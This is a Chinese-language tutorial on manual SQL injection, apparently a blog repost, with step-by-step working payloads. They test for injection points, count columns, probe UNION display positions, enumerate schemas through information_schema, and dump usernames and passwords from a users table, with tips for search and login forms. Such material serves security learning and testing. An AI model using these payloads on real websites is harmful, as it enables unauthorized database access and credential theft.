简单sql注入(手注)

一、Sql简单手注的一般思路:

1、 先看是不是注入点(字符型、整型)

2、 判断字段数

3、 判断是否可以用union联合查询(是否有显示位)

4、 获取所有数据库名

5、 获取数据库中表名

6、 获取表中的字段名

7、 获取字段中的信息数据

1、 先看是不是注入点

*加单引号 (‘)如果报错则可能存在

 输入?2-1页面变化(数值型)

*数字型:and 1=1正常;and 1=2报错

              or 2>1 正常;or 1>2 报错

              xor 1=1 报错;xor 1=2 正常

              and 1=1 url编码:%41%4E%44%20%%31%3D%31

              -0 页面不变;-1页面错误

*字符型:闭合方式加单引号(双引号、圆括号)

              加#;%27;--+是否可以闭合

              ‘and ‘1’=’1正常;’and ‘1’=’2报错

*终止字符串:--;#;%23;%00;/*

 终止方法:--,‘--,’)--,)--,’))--,))—

2、 判断字段数

1’ order by 1 --+

1’ order by 2 --+

…直到报错

(数字型注入的参数是正确的或没有单引号)

3、 判断是否可以用union联合查询(是否有显示位)

1‘ union select 1,2,3… --+

4、 获取所有数据库名

1‘ union select 1,2,database() --+

@@basedir 查询数据库安装路径

@@datadir 查询数据库所在目录

version() 查询数据库的版本

user() 查询当前数据库的使用用户

database() 当前使用数据库的名字

5、 获取数据库中的表名

id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

 

6、获取表中的字段

id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

 

7、获取字段的信息数据

id=0' union select 1,group_concat(username,0x3a,password),3 from users --+

 

二、其他简单注入

1、搜索框

搜索’,&,[,],%,$,@等特殊字符,如果返回正常可能存在注入

%' and 1=1 and '%'='% ;%' and 1=2 and '%'='%

2、登录框

使用#,--都无效,但是使用\报错,这时候上sqlmap,可能有注入

猜你喜欢

转载自www.cnblogs.com/qie-date/p/11470418.html